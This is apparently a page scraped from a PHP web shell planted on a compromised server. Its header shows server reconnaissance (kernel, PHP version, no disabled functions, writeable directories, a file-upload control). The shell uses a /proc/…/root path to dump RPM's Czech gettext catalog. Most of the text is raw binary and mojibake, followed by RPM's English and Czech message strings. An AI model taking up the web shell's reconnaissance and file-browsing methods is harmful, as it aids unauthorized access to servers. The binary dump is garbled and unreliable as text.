KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /proc/21585/root/usr/share/locale/cs/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //proc/21585/root/usr/share/locale/cs/LC_MESSAGES/rpm.mo
Ţ•§T
9Œp#q#†#
™#	¤#Ž#&Á#č#
ú#($.$+I$u$…$Ą$Š$ż$Ő$ě$%!%"A%)d%#Ž%˛%Ć%Ó%â%ń%&&:&<M&9Š&?Ä&='>B'<'>ž'?ý'F=(y„(;ţ(6:)Jq)?ź)_ü)/\*OŒ*$Ü*+++
+%+4+;+L+
S+	^+ h+%‰+Ż+Č+!ć+
,,0,N,	`,j,,–,ľ,É,Ý,Aô,6-T-l--‹-$š-6Ţ-#.9.P.p..Ż.'Î.%ö."/?/U/k/‡/$™/$ž/ă/÷/0.0A0U0!r0”0*ł0Ţ0#ţ0"191W1s11Ł1˝1Ő1é12 2//2_2)}2§2˝2Ä2Ő2ę233+3,/3\3p3!…3§3ť3Ó3î3!
4,4F4\4#x4œ4Ź4ż4&Ţ455/5J5a5 }5 ž5ż5"Ú5ý5#6!=6_6"|6Ÿ6Ž6Ŕ6,×6%7
*75797T7)t7,ž7Ë7*č7)8(=80f8/—8)Ç8(ń8:99U9J9DÚ9C:Fc:EŞ:)đ:;.;E;\;r;Ž;§;Â;%Ţ;<<8<Q<a<+}<Š<&Â<)é<(=*<='g=)=+š=/ĺ=.>+D>9p>&Ş>#Ń>ő>;? N?"o?(’?/ť? ë?@*@F@'a@‰@!Ľ@!Ç@%é@A"*AMAiAzA‰A!ŁA"ĹA!čA
BB.BEB\B9|B>śB$őB C;C7HC€C/›CEËCD$D=DWDrD‹DĽD'ŔD%čD-E<EZEGpE¸E;ÎE
F&F#3FWF sF*”F#żF ăF G%GCG\GIxG(ÂGëG1H)5H#_HƒH$˘HÇH$ăH$I$-I$RI,wI¤IÂIÖI)óIJ:JTJ/sJ0ŁJÔJěJ#K	$K.KKKhK'~KŚKťKÚK÷K	L+L#HLlL{L˜LśLŐLçL˙LM#/MSMqMMŹMťM3ĘM?ţM$>N<cNK NěNOO80OiO‰O4ŚO+ŰOP<"P_PzP3ŠP%žP#äPQ%QBQ)TQ-~QŹQ ĆQ#çQ6R6BR"yRœR˛R ČRéR+S'2S-ZSˆS¨S)ĹSsďScTT˜T˛TÁTĐT8ŕT(UVBU+™UĹUŘUíU)V/+V&[V&‚V'ŠVŃVíVW+WWJW˘W´WÁWŘWđWX:XPX\X$iX5ŽXÄX'×XV˙XVY$uY%šY$ŔYĺY űY Z=Z]Z<vZł[Ë[	Ţ[č[ő[,\4\I\+U\\/™\É\Ý\ö\ţ\]+]C]]]#t]$˜](˝]%ć]^
'^5^D^Q^#`^„^¤^4ś^6ë^7"_5Z_6_4Ç_6ü_73`Ak`]­`3a9?aKya7Ĺabýa2`bD“bŘbřb	c
c	%c/cAcIc\c
ccqc~c!žcŔcŐcócd$dCdcdzddŞdÇdçdeeJ>e‰e§e˝e5Ýe!f45f%jff!§f!Éf ëf g.-g'\g„gŁgşgÖgőg%h$+hPh hh‰h§hşh Ńhňhi$/i Ti&uiœiˇi ×iřij+j@j!Wjyj'•j
˝j0Ëj!üj*kIk`kikk•k¨kťkŃk9Őkl*l"Elhl{l ląl%Ëlńlm$mCm
cmqm$‚m0§mŘmîm n%n<n(Yn!‚n¤n!Ănĺn o!#oEo `oo’oŚo,˝o#ęoppp9p.Tp1ƒpľp1Őp5q0=q<nq7Ťq0ăq1rAFr<ˆrFĹrIsEVsWœsQôs(Ftot!ŒtŽtĆt!Ţtuu7u,Su€uŸuźuŘuču*v 0vQv)qv)›v)Ĺv)ďv)w#Cw#gw+‹w#ˇw2Űw(x+7xcx8|x ľx Öx1÷x9)y#cy‡y§yĹyßy˙y"z Bz%cz‰z&¨z'Ďz÷z
{"{)@{%j{%{ś{Č{ß{ű{!|69|:p|"Ť|"Î|ń|6}7}-P}9~}¸}Ń}ě}~%~@~\~$y~-ž~0Ě~"ý~ L6ƒ>œŰ
÷(€.€M€.m€-œ€*ʀ(ő€=YVx)ρů2‚0J‚*{‚%Ś‚(̂ő‚.ƒ.Dƒ.sƒ!˘ƒ.ăóƒ„'„(D„ m„Ž„Ź„*̄0÷„(…@…-U…
ƒ…#Ž…$˛…ׅ*đ…†1†M†l†
y†$‡†Ź†̆!ۆ#ý†!‡<‡W‡u‡’‡(Ż‡$؇)ý‡('ˆPˆ_ˆ4nˆTŁˆ'řˆ> ‰6_‰–‰Ż‰lj9ć‰ Š?Š3]Š.‘ŠŔŠ9ڊ‹3‹<D‹)‹Ť‹Njç‹Œ0Œ$KŒpŒ Œ(°Œ-ٌ,4RlƒĄ-ş2č1Ž"MŽpŽ(ŽŽsˇŽ(+$T"yœŤ¸/Ǐ(÷\ (}Śżڐ*ô0‘)P‘:z‘#ľ‘ّ ň‘ ’ 4’YU’Ż’
ĒҒđ’
“
#“51“g“
v“%„“2Ş“ݓ0ń“T"” w”.˜”&ǔ$3•Q•o•Ž•‡ęMÁޝэâĔc}‚XhOSn—fn4\ Ż
„<ýťŸ šZ¤g[{(R‘'xŠwtFŢf˛$Gb2YH
*Cj:ŠBŽ‡•"Ÿ
}‰2J1su5—ăäi\Xsbe+Ąša_GˆNŘRŒKÝ~Ś]Łçm@–ĚPA)VPc|{_pY+ćňLôŕú7=ƒQ5ÕIöBL:žI lůđ˜/š|%>vś;…K0€]ƒ7Ȁ6^xt–ÓéwŤč!ë(<T0Ü´i‹d9ł,g‚ɘŇ6hĆOÇWž3DCpďńţÔ/k^!‘8rŚ÷‰~o¨yŰźMuz„."ymDľzϡlÂß9‹ěËá?˘’aUŐE†*E˘oU%>żq›şV˙.“r˝d&›Ůk8†ü&Ÿ=ŽÚĽ-1§J'	@ž	ő? §HŒW3îÎíĐ#Ą;NĽFĘŹœS,TŠąq…™™#-4”j[`“ű$ˆZ
QÖ°óŽ)`­Ŕ×ĺvř’͜¤eAŁ

RPM build errors:
  %s    A %s	B %s
 failed -  on file ! only on numbers
%%changelog entries must start with *
%s created as %s
%s failed
%s field must be present in package: %s
%s rmdir of %s failed: %s
%s rmdir of %s failed: Directory not empty
%s saved as %s
%s unlink of %s failed: %s
%s: %s
%s: Fread failed: %s
%s: Fseek failed: %s
%s: Fwrite failed: %s
%s: open failed: %s
%s: read manifest failed: %s
%s:%d: Got a %%else with no %%if
%s:%d: Got a %%endif with no %%if
%s:%d: parseExpressionBoolean returns %d
&& and || not suported for strings
(contains no files)(error 0x%x)(no state)    (not a number)(unknown %3d) * / not suported for strings
- not suported for strings
- only on numbers
--allfiles may only be specified during package installation--allmatches may only be specified during package erasure--excludedocs may only be specified during package installation--hash (-h) may only be specified during package installation--ignorearch may only be specified during package installation--ignoreos may only be specified during package installation--ignoresize may only be specified during package installation--includedocs may only be specified during package installation--justdb may only be specified during package installation and erasure--nodeps may only be specified during package building, rebuilding, recompilation, installation,erasure, and verification--percent may only be specified during package installation--prefix may only be used when installing new packages--relocate and --excludepath may only be used when installing new packages--replacepkgs may only be specified during package installation--root (-r) may only be specified during installation, erasure, querying, and database rebuilds--sign may only be used during package building--test may only be specified during package installation, erasure, and building: expected following ? subexpression<date><dir><old>=<new><package>+<packagefile>+<path><source package><spec><specfile><tarball>========== continuing tsort ...
========== recording tsort relations
? expected in expressionArchitecture is excluded: %s
Architecture is not included: %s
Bad CSA data
Bad dirmode spec: %s(%s)
Bad exit status from %s (%s)
Bad file: %s: %s
Bad magicBad mode spec: %s(%s)
Bad owner/group: %s
Bad package specification: %s
Bad source: %s: %s
Bad syntax: %s(%s)
Bad/unreadable  headerBuild options with [ <specfile> | <tarball> | <source package> ]:BuildRoot can not be "/": %s
Building for target %s
Building target platforms: %s
Can't mix special %%doc with other forms: %s
Could not canonicalize hostname: %s
Could not generate output filename for package %s: %s
Could not open %%files file %s: %s
Could not open %s: %s
Could not open PostIn file: %s
Could not open PostUn file: %s
Could not open PreIn file: %s
Could not open PreUn file: %s
Could not open Trigger script file: %s
Could not open VerifyScript file: %s
Couldn't download nosource %s: %s
Couldn't exec %s: %s
Couldn't fork %s: %s
Data type %d not supported
Database options:Duplicate %s entries in package: %s
Duplicate locale %.*s in %%lang(%s)
Enter pass phrase: Error parsing %%setup: %s
Exec of %s failed (%s): %s
Executing(%s): %s
Failed to find %s:
Failed to open tar pipe: %m
Failed to read spec file from %s
Failed to rename %s to %s: %m
File %s does not appear to be a specfile.
File %s is not a regular file.
File doesn't match prefix (%s): %s
File listed twice: %s
File must begin with "/": %s
File needs leading "/": %s
File not found by glob: %s
File not found: %s
Generating signature: %d
Glob not permitted: %s
Header size too bigHit limit for %%docdir
Install/Upgrade/Erase options:Internal errorInternal error in argument processing (%d) :-(
Internal error: Bogus tag %d
Invalid %%_signature spec in macro file.
Invalid %s token: %s
LOOP:
MD5 sum mismatchMissing %s in %s %s
Missing '(' in %s %s
Missing ')' in %s(%s
Missing hard link(s)NO No compatible architectures found for build
No patch number %d
No source number %d
Non-white space follows %s(): %s
OS is excluded: %s
OS is not included: %s
Only one arg for %%docdir
Package already exists: %s
Package has no %%description: %s
Pass phrase check failed
Pass phrase is good.
Processing files: %s-%s-%s
Query options (with -q or --query):RPM version %s
Signature options:Spec file can't use BuildRoot
Symlink points to BuildRoot: %s -> %s
TIMECHECK failure: %s
Too many patches!
Two files on one line: %s
Unable to open %s: %s
Unable to open icon %s: %s
Unable to open sigtarget %s: %s
Unable to open spec file %s: %s
Unable to open temp file.
Unable to read header from %s: %s
Unable to read icon %s: %s
Unable to read payload from %s: %s
Unable to write header to %s: %s
Unable to write package: %s
Unable to write payload to %s: %s
Unclosed %%if
Unknown file typeUnknown icon type: %s
Unusual locale length: "%.*s" in %%lang(%s)
Verify options (with -V or --verify):Wrote: %s
YES] expected at end of arrayargument is not an RPM package
arguments to --prefix must begin with a /arguments to --root (-r) must begin with a /bad date in %%changelog: %s
build binary package from <source package>build binary package only from <specfile>build binary package only from <tarball>build source and binary packages from <specfile>build source and binary packages from <tarball>build source package only from <specfile>build source package only from <tarball>build through %build (%prep, then compile) from <specfile>build through %build (%prep, then compile) from <tarball>build through %install (%prep, %build, then install) from <source package>build through %install (%prep, %build, then install) from <specfile>build through %install (%prep, %build, then install) from <tarball>build through %prep (unpack sources and apply patches) from <specfile>build through %prep (unpack sources and apply patches) from <tarball>buildroot already specified, ignoring %s
can't query %s: %s
cannot access file %s
cannot create %%%s %s
cannot create %s: %s
cannot re-open payload: %s
cannot write to %%%s %s
cpio_copy read failed: %s
cpio_copy write failed: %s
create archive failed on file %s: %s
create archive failed: %s
debug URL cache handlingdebug file state machinedebug rpmio I/Odisable use of libio(3) APIdisplay final rpmrc and macro configurationdisplay known query tagsdisplay the states of the listed filesdo not accept i18N msgstr's from specfiledo not execute %%post scriptlet (if any)do not execute %%postun scriptlet (if any)do not execute %%pre scriptlet (if any)do not execute %%preun scriptlet (if any)do not execute any %%triggerin scriptlet(s)do not execute any %%triggerpostun scriptlet(s)do not execute any %%triggerprein scriptlet(s)do not execute any %%triggerun scriptlet(s)do not execute any scriptlet(s) triggered by this packagedo not execute any stages of the builddo not execute package scriptlet(s)do not install documentationdo not reorder package installation to satisfy dependenciesdo not verify build dependenciesdo not verify package dependenciesdon't check disk space before installingdon't install, but tell if it would work or notdon't verify MD5 digest of filesdon't verify files in packagedon't verify group of filesdon't verify mode of filesdon't verify modification time of filesdon't verify owner of filesdon't verify package architecturedon't verify package dependenciesdon't verify package operating systemdon't verify size of filesdon't verify symlink path of filesdump basic file informationempty tag formatempty tag nameerase (uninstall) packageerror creating temporary file %s
error reading header from package
exclude paths must begin with a /exec failed
failed to open %s: %s
failed to stat %s: %m
failed to stat %s: %s
failed to write all data to %s
file %s conflicts between attempted installs of %s and %sfile %s from install of %s conflicts with file from package %sfile %s is not owned by any package
file %s is on an unknown device
file %s: %s
files may only be relocated during package installationgenerate PGP/GPG signaturegenerate headers compatible with rpm4 packaginggenerate package header(s) compatible with (legacy) rpm[23] packaginggenerate signaturegetGidS: too many gid's
getGname: too many gid's
getGnameS: too many gid's
getUidS: too many uid's
getUname: too many uid's
getUnameS: too many uid's
group %s does not contain any packages
group %s does not exist - using root
ignore ExcludeArch: directives from spec fileincomplete %%changelog entry
incorrect format: %s
install all files, even configurations which might otherwise be skippedinstall documentationinstalling package %s needs %ld inodes on the %s filesysteminvalid package number: %s
line %d: %s
line %d: Bad %%setup option %s: %s
line %d: Bad %s number: %s
line %d: Bad %s: qualifiers: %s
line %d: Bad BuildArchitecture format: %s
line %d: Bad arg to %%patch -p: %s
line %d: Bad arg to %%patch: %s
line %d: Bad arg to %%setup: %s
line %d: Bad no%s number: %d
line %d: Bad number: %s
line %d: Bad option %s: %s
line %d: Dependency tokens must begin with alpha-numeric, '_' or '/': %s
line %d: Docdir must begin with '/': %s
line %d: Empty tag: %s
line %d: Epoch/Serial field must be a number: %s
line %d: Error parsing %%description: %s
line %d: Error parsing %%files: %s
line %d: Error parsing %s: %s
line %d: Illegal char '-' in %s: %s
line %d: Malformed tag: %s
line %d: Need arg to %%patch -b: %s
line %d: Need arg to %%patch -p: %s
line %d: Need arg to %%patch -z: %s
line %d: Package does not exist: %s
line %d: Prefixes must not end with "/": %s
line %d: Second %%files list
line %d: Second %s
line %d: Second description
line %d: Tag takes single token only: %s
line %d: Too many names: %s
line %d: Unknown tag: %s
line %d: Version required: %s
line %d: Versioned file name not permitted: %s
line %d: script program must begin with '/': %s
line %d: second %%prep
line %d: second %s
line %d: triggers must have --: %s
line: %s
list all configuration fileslist all documentation fileslist files in packagelookup i18N strings in specfile catalogmakeTempFile failed
malformed %%include statement
missing name in %%changelog
missing { after %missing } after %{mntctl() failed to return mount points: %s
mntctl() failed to return size: %s
net shared    no arguments given for queryno arguments given for verifyno description in %%changelog
no files to sign
no package provides %s
no package requires %s
no package triggers %s
no packages files given for rebuildno packages given for installno spec files given for buildno tar files given for buildnormal        not installed one type of query/verify may be performed at a timeonly installation, upgrading, rmsource and rmspec may be forcedonly one major mode may be specifiedonly one of --excludedocs and --includedocs may be specifiedonly packaging with major numbers <= 4 is supported by this version of RPM
open of %s failed: %s
override build rootoverride target platformpackage %s (which is newer than %s) is already installedpackage %s is already installedpackage %s is not installed
package %s pre-transaction syscall(s): %s failed: %spackage has neither file owner or id lists
package record number: %u
packaging version 1 is not supported by this version of RPM
parse error in expression
pgp not found: print hash marks as package installs (good with -v)print percentages as package installsprint the version of rpm being usedprovide less detailed outputprovide more detailed outputquery a spec filequery of specfile %s failed, can't parse
query the package(s) triggered by the packagequery/verify all packagesquery/verify package(s) in groupquery/verify package(s) owning filequery/verify the package(s) which provide a dependencyquery/verify the package(s) which require a dependencyreadRPM: %s is not an RPM package
readRPM: open %s: %s
readRPM: read %s: %s
readRPM: reading header from %s
record %u could not be read
reinstall if the package is already presentrelocate files from path <old> to <new>relocate the package to <dir>, if relocatablerelocations must begin with a /relocations must contain a =relocations must have a / following the =remove all packages which match <package> (normally an error is generated if <package> specified multiple packages)remove build tree when doneremove sources when doneremove specfile when donereplaced      rpm query moderpm verify modesave erased package files by renaming into sub-directorysave erased package files by repackagingscript disabling options may only be specified during package installation and erasureshort hand for --replacepkgs --replacefilesskip %%ghost filesskip %%license filesskip %%readme filesskip files with leading component <path> skip straight to specified stage (only for c,i)source package contains no .spec file
source package expected, binary found
substitute i18n sections into spec filesyntax error in expression
syntax error while parsing &&
syntax error while parsing ==
syntax error while parsing ||
trigger disabling options may only be specified during package installation and erasuretypes must match
unexpected ]unexpected query flagsunexpected query formatunexpected query sourceunexpected }unknown error %d encountered while manipulating package %sunknown tagunmatched (
unpacking of archive failed%s%s: %s
update the database, but do not modify the filesystemupgrade package(s)upgrade package(s) if already installedupgrade to an old version of the package (--force on upgrades does this automatically)use the following query formatuser %s does not exist - using root
verify %files section from <specfile>verify %files section from <tarball>verify database files{ expected after : in expression{ expected after ? in expression| expected at end of expression} expected in expressionProject-Id-Version: rpm 4.0.3
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2008-04-01 10:30+0300
PO-Revision-Date: 2001-07-24 10:02+0100
Last-Translator: Milan Kerslager <kerslage@linux.cz>
Language-Team: Czech <cs@li.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-2
Content-Transfer-Encoding: 8-bit


chyby sestavení RPM:
  %s    A %s	B %s
selhal -  na souboru ! jen na číslech
Položky v %%changelog musí začínat znakem *
%s vytvořen jako %s
%s selhalo
Položka %s musí být v balíčku přítomna: %s
%s rmdir %s selhal: %s
%s odstranění %s selhalo: Adresář není prázdný
%s uloženo jako %s
%s unlink %s selhal: %s
%s: %s
%s: Fread selhalo: %s
%s: Fseek selhal: %s
%s: Fwrite selhalo: %s
%s: otevření selhalo: %s
%s: Fread selhalo: %s
%s:%d: %%else bez počítečního %%if
%s:%d: %%endif bez počátečního %%if
%s:%d: parseExpressionBoolean vrátil %d
&& a || není podporováno pro řetězce
(neobsahuje žádné soubory)(chyba: 0x%x)(chybí stav)  (není číslo)(neznámý %3d) * / nejsou podporovány pro řetězce
- není podporováno pro řetězce
- jen na číslech
--allfiles může být použit jen při instalaci balíčků--allmatches může být použit jen při instalaci balíčků--excludedocs může být použit jen při instalaci balíčků--hash (-h) může být použit jen při instalaci balíčků--ignorearch může být použit jen při instalaci balíčků--ignoreos může být použit jen při instalaci balíčků--ignoresize může být použit jen při instalaci balíčků--includedocs může být použit jen při instalaci balíčků--justdb může být použit jen při instalaci a odstraňování balíčků--nodeps může být použit jen při sestavování, rekompilaci, instalaci, odstraňování a kontrole--percent může být použit jen při instalaci balíčků--prefix je možno použít jen při instalaci nových balíčků--relocate a --excludepath je možno použít jen při instalaci nových balíčků--replacepkgs může být použit jen při instalaci balíčků--root (-r) může být použit jen při instalaci, odstraňování, dotazech nebo znovuvytvoření databáze--sign může být použit jen při sestavování balíčků--test může být použit jen při instalaci, odstraňování a sestavovánív podvýrazu je po ? očekávána :<datum><adresář><stará_cesta>=<nová_cesta><balíček><soubor_balíčku>+<cesta><zdrojový balíček><spec><spec_soubor><tar_soubor>========== pokračuje tsort ...
========== ukládání tsort relací
ve výrazu očekáván ?Architektura je vyřazena: %s
Architektura není zahrnuta: %s
Špatná CSA data
Špatná práva adresáře: %s(%s)
Špatný návratový kód z %s (%s)
Špatný soubor: %s: %s
Špatné magické čísloŠpatná práva spec: %s(%s)
Špatný vlastník/skupina: %s
Špatná specifikace balíčku: %s
Špatný zdrojový soubor: %s: %s
Špatná syntaxe: %s(%s)
Špatná nebo nečitelná hlavičkaSestavovací volby s [ <spec_soubor> | <tar_soubor> | <zdrojový_balíček> ]:BuildRoot nemůže být "/": %s
Sestavuji pro cíl %s
Sestavuji cílové platformy: %s
Nelze míchat speciální %%doc s ostatnímí formami: %s
Nemohu získat jméno počítače: %s
Nemohu vygenerovat jméno souboru pro balíček %s: %s
Nemohu otevřít %%files soubor %s: %s
Nemohu otevřít %s: %s
Nemohu otevřít PostIn soubor: %s
Nemohu otevřít PostUn soubor: %s
Nemohu otevřít PreIn soubor: %s
Nemohu otevřít PreUn soubor: %s
Nemohu otevřít soubor se spuští (trigger): %s
Nemohu otevřít VerifyScript soubor: %s
Nemohu načíst nosource %s: %s
Nemohu spustit %s: %s
Nemohu provést fork %s: %s
Datový typ %d není podporován
Volby databáze:Duplikovaná položka %s v balíčku: %s
Duplicitní locale %.*s v %%lang(%s)
Vložte heslovou frázi: Chyba při parsování %%setup: %s
Spuštění %s selhalo (%s): %s
Provádění(%s): %s
Selhalo vyhledání %s:
Nelze otevřít rouru pro tar: %m
Nelze číst spec soubor z %s
Nelze přejmenovat %s na %s: %m
Nezdá se, že by %s byl spec soubor.
Soubor %s není obyčejný soubor.
Soubor nesouhlasí s prefixem (%s): %s
Soubor uveden dvakrát: %s
Soubor musí začínat na "/": %s
Soubor potřebuje úvodní "/": %s
Soubor nenalezen globem: %s
Soubor nenalezen: %s
Generuji podpis: %d
Glob není dovolen: %s
Velikost hlavičky je přiliš velkáDosažen limit pro %%docdir
Volby pro Instalaci/Aktualizaci/Mazání:Interní chybaInterní chyba při zpracování parametrů (%d) :-(
Interní chyba: Špatná značka: %d
Špatná %%_signature spec v souboru maker.
Neplatný %s token: %s
SMYČKA:
MD5 součet nesouhlasíChybějící %s v %s %s
Chybí '(' v %s %s
Chybí ')' v %s(%s
Chybějící hardlink(y)NE Nenalezeny žádné kompatibilní architektury pro sestavení
Patch číslo %d neexistuje
Zdroj číslo %d neexistuje
Následuje neprázdný znak %s(): %s
OS je vyřazen: %s
OS není zahrnut: %s
Jen jeden parametr pro %%docdir
Balíček již existuje: %s
Balíček nemá žádné %%description: %s
Chybná heslová fráze
Heslová fráze je v pořádku.
Zpracovávám soubory: %s-%s-%s
Volby dotazů (s -q or --query):RPM verze %s
Volby signatury:Spec soubor nemůže použít BuildRoot
Symbolická linka ukazuje na BuildRoot: %s -> %s
TIMECHECK selhal: %s
Příliš mnoho patchů!
Dva soubory na jednom řádku: %s
Nemohu otevřít %s: %s
Nemohu otevřít ikonu %s: %s
Nemohu otevřít cíl pro podepsání %s: %s
Nelze otevřít spec soubor %s: %s
Nelze otevřít dočasný soubor.
Nemohu přečíst hlavičku z %s: %s
Nemohu přečíst ikonu %s: %s
Nemohu přečíst payload z %s: %s
Nemohu zapsat hlavičku do %s: %s
Nemohu zapsat balíček: %s
Nemohu zapsat payload do %s: %s
Neuzavřený %%if
Neznámý typ souboruNeznámý typ ikony: %s
Neobvyklá délka locale: "%.*s" v %%lang(%s)
Vollby kontroly (s -V or --verify):Zapsáno: %s
ANOna konci pole očekáváno ]parametr není RPM balíček
parametry pro --prefix musejí začínat znakem /parametry pro --root (-r) musejí začínat znakem /špatný datum v %%changelog: %s
vytvoření binárního balíčku ze <zdrojový balíček>vytvoření pouze binárního balíčku podle <spec_soubor>vytvoření pouze binárního balíčku z <tar_soubor>vytvoření zdrojového a binárního balíčku podle <spec_soubor>vytvoření zdrojového a binárního balíčku z <tar_soubor>vytvoření zdrojového balíčku podle <spec_soubor>vytvoření pouze zdrojového balíčku z <tar_soubor>sestavení podle %build (%prep, pak kompilace) podle <spec_soubor>sestavení podle %build (%prep, pak kompilace) z <tar_soubor>sestavení podle %%install (včetně %prep, %build) ze <zdrojový balíček>sestavení podle %install (%prep, %build, pak install) podle <spec_soubor>sestavení podle %%install (%prep, %build, pak install) z <tar_soubor>sestavení podle %prep (rozbalení zdrojových kódů a aplikace patchů) podle <spec_soubor>sestavení podle %prep (rozbalení zdrojových kódů, aplikace patchů) z <tar_soubor>buildroot byl již nastaven, ignoruji %s
nemohu provést dotaz %s: %s
přístup k souboru %s se nezdařil
nemohu vytvořit %s: %s
nemohu vytvořit %s: %s
nemohu znovu otevřít payload: %s
nemohu zapsat do %%%s %s
čtení cpio_copy selhalo: %s
zápis cpio_copy selhal: %s
vytváření archívu selhalo na souboru %s: %s
vytváření archívu selhalo: %s
ladit manipulaci s URL cacheladit nástroj stavu souborůladit rpmio I/Ozakázat použití libio(3) APIzobrazit finální konfiguraci rpmrc a makerzobrazit známé značky pro dotazyzobrazit stav vypsaných souborůneakceptovat i18N popisky ze spec souborunespouštět žádné skripty (jsou-li nějaké)nespouštět žádné skripty (jsou-li nějaké)nespouštět žádné skripty (jsou-li nějaké)nespouštět žádné skripty (jsou-li nějaké)nespouštět žádné instalační skriptynespouštět žádné instalační skriptynespouštět žádné skripty určené pro balíčkynespouštět žádné instalační skriptynespouštět žádné skripty aktivované tímto balíčkemnespouštět žádné etapy vytváření balíčkunespouštět žádné skripty určené pro balíčkyneinstalovat dokumentacipro vyřešení závislostí neměnit pořadí instalace balíčkůnekontrolovat závislosti balíčkůnekontrolovat závislosti balíčkůnekontrolovat volné místo na disku před instalacíneinstalovat ale sdělit, zda-li by to fungovalo či nikolinekontrolovat MD5 souborů v balíčkunekontrolovat soubory v balíčkunekontrolovat skupinu souborůnekontrolovat mód souborůnekontrolovat čas změny souborunekontrolovat vlastníka souborůnekontrolovat architekturu balíčkunekontrolovat závislosti balíčkůnekontrolovat operační systém balíčkunekontrolovat velikost souborůnekontrolovat cesty symbolických linekzobrazit základní informace o souborechprázdný formát značkyprázdné jméno značkysmazat (deinstalovat) balíčekchyba při vytváření dočasného souboru %s
chyba při při čtení hlavičky balíčku
vynechané cesty musí začínat znakem /spuštění selhalo
nemohu otevřít %s: %s
nemohu zjistit stav %s: %m
nemohu zjistit stav %s: %s
Nemohu zapsat všechna data do %s
soubor %s způsobuje konflikt mezi instalovaným %s a %ssoubor %s z instalace %s koliduje se souborem z balíčku %ssoubor %s nevlastní žádný balíček
soubor %s je na neznámém zařízení
soubor %s: %s
soubory mohou být přemístěny jen při instalaci balíčkůgenerovat PGP/GPG podpisgenerovat hlavičky kompatibilní s RPM verze 4generovat hlavičky balíčků kompatibilní s RPM verze 2 a 3generovat PGP/GPG podpisgetGidS: příliš mnoho GID
getGname: příliš mnoho GID
getGnameS: příliš mnoho GID
getUidS: příliš mnoho UID
getUname: příliš mnoho UID
getUnameS: příliš mnoho UID
skupina %s neobsahuje žádné balíčky
skupina %s neexistuje - použita skupina root
ignorovat ExcludeArch: direktivy ve spec souborunekompletní položka v %%changelog
nesprávný formát: %s
nainstalovat všechny soubory i konfigurace, které by se jinak mohly vynechatnainstalovat dokumentaciinstalace balíčku %s potřebuje %ld inodů na systému souborů %sneplatné číslo balíčku: %s
řádek %d: %s
řádek %d: Špatná volba v %%setup %s: %s
řádek %d: Špatné číslo %s: %s
řádek %d: Špatné určení %s: %s
řádek %d: Špatný formát BuildArchitecture: %s
řádek %d: Špatný parametr pro %%patch -p: %s
řádek %d: Špatný parametr pro %%patch: %s
řádek %d: Špatný parametr v %%setup: %s
řádek %d: Špatné číslo %s: %d
řádek %d: Špatné číslo: %s
řádek %d: špatná volba %s: %s
řádek %d: Položky v závislostech musí začínat alfanumerickým znakem, '_' nebo '/': %s
řádek %d: Docdir musí začínat na '/': %s
řádek %d: Prázdná značka: %s
řádek %d: Položka Epoch/Serial musí být číslo: %s
řádek %d: Chyba při parsování %%description: %s
řádek %d: Chyba při parsování %%files: %s
řádek %d: Chyba při parsování %s: %s
řádek %d: Nepřípustný znak '-' v %s: %s
řádek %d: Počkozená značka: %s
řádek %d: K %%patch -b potřebuji parametr: %s
řádek %d: K %%patch -p potřebuji parametr: %s
řádek %d: K %%patch -z potřebuji parametr: %s
řádek %d: Balíček neexistuje: %s
řádek %d: Prefixy nesmí končit znakem "/": %s
řádek %d: Druhý seznam %%files
řádek %d: Druhý %s
řádek %d: Druhé description
řádek %d: Značka má jen jeden token: %s
řádek %d: Příliš mnoho jmen: %s
řádek %d: Neznámá značka: %s
řádek %d: Vyžadována verze: %s
řádek %d: Jméno s verzí není dovoleno: %s
řádek %d: jméno skriptu musí začínat na '/': %s
řádek %d: druhý %%prep
řádek: %d: druhý %s
řádek %d: spouště (triggery) musí mít --: %s
řádek: %s
vypsat všechny konfigurační souboryvypsat všechny soubory s dokumentacívypsat soubory v balíčkuvyhledat i18N řetězce ve specfile katalogumakeTempFile selhalo
poškozený příkaz %%include
chybějící jméno v %%changelog
chybí { po %po %{ chybí }mntctl() nevrátil přípojné body: %s
mntctl() nevrátil velikost: %s
sdílen v síti k dotazu nezadány žádné parametrypro kontrolu nezadány žádné balíčkyžádný popis v %%changelog
žádné soubory k podepsání
žádný balíček neposkytuje %s
žádný balíček nevyžaduje %s
žádný balíček neaktivuje %s
ke znovusestavení nezadány žádné balíčkynezadány žádné balíčky pro instalacipro sestavení nezadány žádné spec souborypro sestavení nezadány žádné tar souborynormální      neinstalován  najednou lze provést jen jeden typ dotazu či ověřenívynucena může být jen instalace, aktualizace, smazání zdrojových kódů a spec souboruspecifikovat lze jen jeden hlavní režimpoužít lze jen jeden z parametrů --excludedocs a --includedocstato verze RPM podporuje práci s balíčky s verzí <= 4
otevření %s selhalo: %s
build root předefinováncílová platforma předefinovánabalíček %s (který je novější, než %s) je již nainstalovánbalíček %s je již nainstalovánbalíček %s není nainstalován
předtransakční syscall v balíčku %s: %s selhalo: %sbalíček nemá vlastníka souboru ani seznamy id
záznam balíčku číslo: %u
práce s balíčky verze 1 není podporována touto verzí RPM
chyba při parsování ve výrazu
pgp nenalezeno: během instalace balíčku zobrazit dvojité křížky (dobré s -v)během instalace balíčku zobrazit procentavypsat používanou verzi rpmposkytnout výstu s méně detailyposkytnout detailnější výstupdotaz na spec soubordotaz na spec soubor %s selhal, nemohu parsovat
dotaz na balíčky aktivované balíčkemdotázat/ověřit všechny balíčkydotaz/ověření balíčků ve skupinědotaz/ověření balíčků vlastnícího soubordotaz/ověření balíčků poskytujících závislostdotaz/ověření balíčků vyžadujících závislostreadRPM: %s není RPM balíček
readRPM: otevření %s: %s
readRPM: čtení %s: %s
readRPM: čtení hlavičky z %s
záznam %u nelze přečíst
